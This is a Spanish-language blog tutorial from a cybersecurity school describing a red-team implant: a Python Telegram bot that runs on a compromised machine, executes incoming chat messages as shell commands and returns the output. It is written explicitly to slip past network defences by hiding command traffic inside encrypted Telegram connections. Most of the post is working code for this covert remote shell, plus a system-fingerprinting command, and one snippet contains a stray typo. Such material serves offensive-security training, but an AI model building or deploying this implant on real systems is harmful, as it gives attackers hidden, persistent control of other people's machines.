+321 123 4567
info@test.com
My Account
  • La escuela
    • Codespacer
    • Partners
    • Eventos
  • Nuestros cursos
  • Si eres empresa
  • Blog
  • <Contacto/>
CAMPUS VIRTUAL
  • La escuela
    • Nosotros
    • Alumni
    • Partners
  • Nuestros cursos
  • Si eres empresa
  • Blog
  • <Contacto/>
  • Mi cuenta

Controlando sistemas comprometidos a través de Telegram

Publicado 22/06/2021
No hay comentarios
ejercicio Red Team

A la hora de gestionar los sistemas comprometidos en un ejercicio de Red team, es importante evadir los sistemas de defensa de la red, siempre se tiende a ejecutar reverse shells simples con netcat sin cifrar lo cual deja un gran rastro en la red ya que se pueden ver los comandos ejecutados e incluso las respuestas. En este caso vamos a utilizar una aplicación convencional de mensajería (Telegram) para ejecutar los comandos remotos, puesto que va cifrado y no son conexión frecuentemente bloqueadas. Vamos a programarlo en Python y vamos a hacer que sea multiplataforma wrapeando las librerías para que se necesite solamente  Python instalado en el sistema.

Antes de nada, me gustaría comentar que quiero orientar este post, de forma que cualquier persona sea capaz de crear su propio bot y de entender cómo funciona partiendo de ejemplos básicos.

¡Vamos a ello!

Primero, vamos a crear nuestro bot, con botfather, solamente tenemos que meternos en telegram y buscar el usuario @BotFather, ejecutamos /newBot y nos pedira un nombre, os aconsejo poner nombres aleatorios, puesto que vamos a tener control total de una maquina desde el chat, aunque restringiremos el poder ejecutar comandos solamente desde una lista de IDs de Telegram en concreto.

Una vez creado, tenemos que guardar el token que nos devuelve, ya que es nuestro método de autenticación para el bot.

Segundo, vamos a buscar la librería que vamos a utilizar en la programación del bot, en este caso vamos a utilizar una de las más conocidas, “Python-telegram-bot”, lo instalaremos con pip:

pip3 install python-telegram-bot

Si vamos al GitHub del creador, encontraremos una carpeta “Examples” donde podemos encontrar ejemplos concretos del uso de la librería, nos vamos aprovechar de los ejemplos ya creado para poder agilizar el trabajo e ir directos al grano.

De los ejemplos que hay, el que más se puede parecer es el “echo bot”, puesto que la funcionalidad es la misma, solo habría que cambiar la función de echo.

El código lo puedes encontrar aquí, pero nos vamos a centrar en los elementos imporantes.

Nos fijamos en como recibe las llamadas o comandos con “/”, a través de las siguientes instrucciones:

dispatcher.add_handler(CommandHandler("start", start))
dispatcher.add_handler(CommandHandler("help", help_command))

esto quiere decir que si ponemos /start, va a ejecutar la funcion start que es la siguiente

    """Send a message when the command /start is issued."""
    user = update.effective_user
    update.message.reply_markdown_v2(
        fr'Hi {user.mention_markdown_v2()}\!',
        reply_markup=ForceReply(selective=True),
    )

que básicamente devuelve un ‘Hi, {nombre de usuario}’. Y si enviamos un /help, llamará a la función help que es la siguiente

def help_command(update: Update, context: CallbackContext) -> None:
    """Send a message when the command /help is issued."""
    update.message.reply_text('Help!')

que devuelve un mensaje no es para nada de ayuda…

Sin embargo, para analizar los mensajes que no son comandos, usa otra instrucción

dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))

que llama a la función echo

def echo(update: Update, context: CallbackContext) -> None:
    """Echo the user message."""
    update.message.reply_text(update.message.text)

cada vez que el bot recibe una string que no es un comando (O que no empieza por “/”) devuelve la misma string, lo que vamos a hacer es cambiar esta función por una que haga lo que queremos, en este caso ejecutar comandos y devolver el output, para ellos utilizaremos la libreria subprocess.

Con subprocess vamos a poder ejecutar comandos independientemente del sistema operativo donde se ejecute, puesto que vamos a ser nosotros los que decidiremos el comando a ejecutar, el programa solo se va a limitar a ejecutar la string introducida y devolvernos el output, por si acaso, decidí crear una pequeña función que nos devuelve información sobre el sistema operativo invitado, por si desconocemos donde está corriendo o tenemos varios y queremos saber donde está, para ello he creado el comando “/osinfo” que lo llamaremos de la siguiente forma

dispatcher.add_handler(CommandHandler("osinfo", osinfo))

y llama a la función “osinfo” con el siguiente código

def osinfo(update: Update, context: CallbackContext) -> None:
        update.message.reply_text("System: "+platform.uname()[0]+"\n"+"Node: "+platform.uname()[1]+"\n"+"Release: "+platform.uname()[2]+"\n"+"Version: "+platform.uname()[3]+"\n"+"Machine: "+platform.uname()[4]+"\n"+"Processor: "+platform.uname()[5])

solamente utiliza la librería platform para llamara a la función uname() y devolver toda la información sobre sistema, nombre, release, versión… Y lo hemos puesto bonito para que sea legible.

El siguiente paso es modificar la función echo, la he renombrado como “execute” donde ejecuta el comando con subprocess de la siguiente forma

p = subprocess.run(update.message.text.split(" "), shell=True, capture_output=True)
out=p.stdout #Este es el output del comando

aquí hay un detalle importante y es el hecho de tener que crear una lista con el comando y los argumentos a ejecutar, queda algo mas o menos así si lo ejecutamos directamente desde Python

y he tenido que darle un par de toques más puesto que si ejecutabas comandos con una respuesta mayor a 4096 caracteres daba un error “Message is too long“, por lo tanto, compruebo si el mensaje es superior a 4090 caracteres y en caso afirmativo divido la salida en mensajes de máximo 4090 caracteres con la siguiente función

def chunkstring(string,length):a
    return (string[0 + i:length + i] for i in range(0, len(string), length))

y voy mandando los mensajes

for element in list(chunkstring(out,4090)):
    update.message.reply_text(element.decode("latin-1"))

la función entera quedaría así.

def execute(update: Update, contect:CallbackContext) -> None:
    print(update.message.text.split(" "))
    user = update.message.from_user
    print(user.id)
    if str(user.id) in idList:
        try:
            p = subprocess.run(update.message.text.split(" "), shell=True, capture_output=True)
            out=p.stdout
            if int(len(out)) < 4090:
                update.message.reply_text(out.decode("latin-1"))
            else:
                for element in list(chunkstring(out,4090)):
                    update.message.reply_text(element.decode("latin-1"))
        except Exception as e:
            print(e)
            update.message.reply_text("<b>Command error.</b>", parse_mode="html")
    else:
        update.message.reply_text("<b>Command error.</b>", parse_mode="html")

ejecutando el bot desde la máquina objetivo quedaría algo así

ejecutando comandos

si ejecutamos comandos con outputs muy largos, vemos como separa directamente la salida

Puedes revisar el código entero en mi Github, https://github.com/kheabrosec/telegramReverseShell

Si te ha encantado este artículo y te apasiona la ciberseguridad, no te puedes perder el bootcamp de Red Team de la mano de nuestro profe Enrique Lauroba, experto en ciberseguridad.

¡Hasta la próxima!

Enrique Lauroba CODE SPACE
Entrada anterior
Técnicas de BlueTeam ante las nuevas amenazas
Entrada siguiente
Diferencia entre desarrollador backend y frontend. Aprende todo sobre desarrollo web

Deja una respuesta Cancelar la respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Rellena este campo
Rellena este campo
Por favor, introduce una dirección de correo electrónico válida.
Tienes que aprobar los términos para continuar

Entradas recientes

  • Qué es un data scientist y sus funciones
  • JavaScript vs. TypeScript – principales diferencias
  • Ventajas y desventajas en una base de datos relacional

Categorías

  • Blockchain (2)
  • BlueTeam (2)
  • Ciberseguridad (20)
  • Data Science (1)
  • Inteligencia Artificial (2)
  • IoT (2)
  • Programación (22)
  • Realidad Virtual (1)
  • Videojuegos (8)

¿Dónde estamos?
C/ Compositor Lehmberg Ruiz, 13
29007 Málaga

952 300 426

682 82 70 17

logo-code-space-blanco

© Codespace | Todos los derechos reservados

Facebook
Instagram
Twitter
LinkedIn
YouTube
Telegram
Meetup

¿Quieres estar al día de nuestras frikadas?

Suscríbete y se uno de los nuestr@s !!!

Aviso Legal | Política de cookies | Política de privacidad | Condiciones Contratación | Tablón de anuncios | | Condiciones de pago con Sequra |

Utilizamos cookies propias y de terceros para mejorar nuestros servicios y mostrarte publicidad relacionada con tus preferencias mediante el análisis de tus hábitos de navegación.. Configuración CookiesAceptar
Política de Privacidad y Cookies

Resumen de Privacidad

Utilizamos cookies para que podamos ofrecerle la mejor experiencia de usuario posible.
La información de las cookies se almacena en su navegador y realiza funciones tales como reconocerlo cuando regresa a nuestro sitio web y ayudar a nuestro equipo a comprender qué secciones del sitio web le resultan más interesantes y útiles. Estas cookies se guardarán en tu navegador solo con tu consentimiento. Tienes la opción de configurar y rechazar estas cookies, aunque puede afectar a algunas funciones de navegación.
Necessary
Siempre activado
Las cookies principales son necesarias para el correcto funcionamiento de la web. Esta categoría únicamente incluye cookies que garantizan las funciones básicas y la seguridad del sitio y no almacenan ninguna información personal.
Non-necessary
Cualquier cookie que puede no ser imprescindible para el funcionamiento de la web. Se utilizan para recopilar datos personales del usuario a través de anuncios y otros contenidos incrustados. Son cookies denominadas no necesarias y para las que se requiere el consentimiento expreso del usuario antes de ejecutarlas.
GUARDAR Y ACEPTAR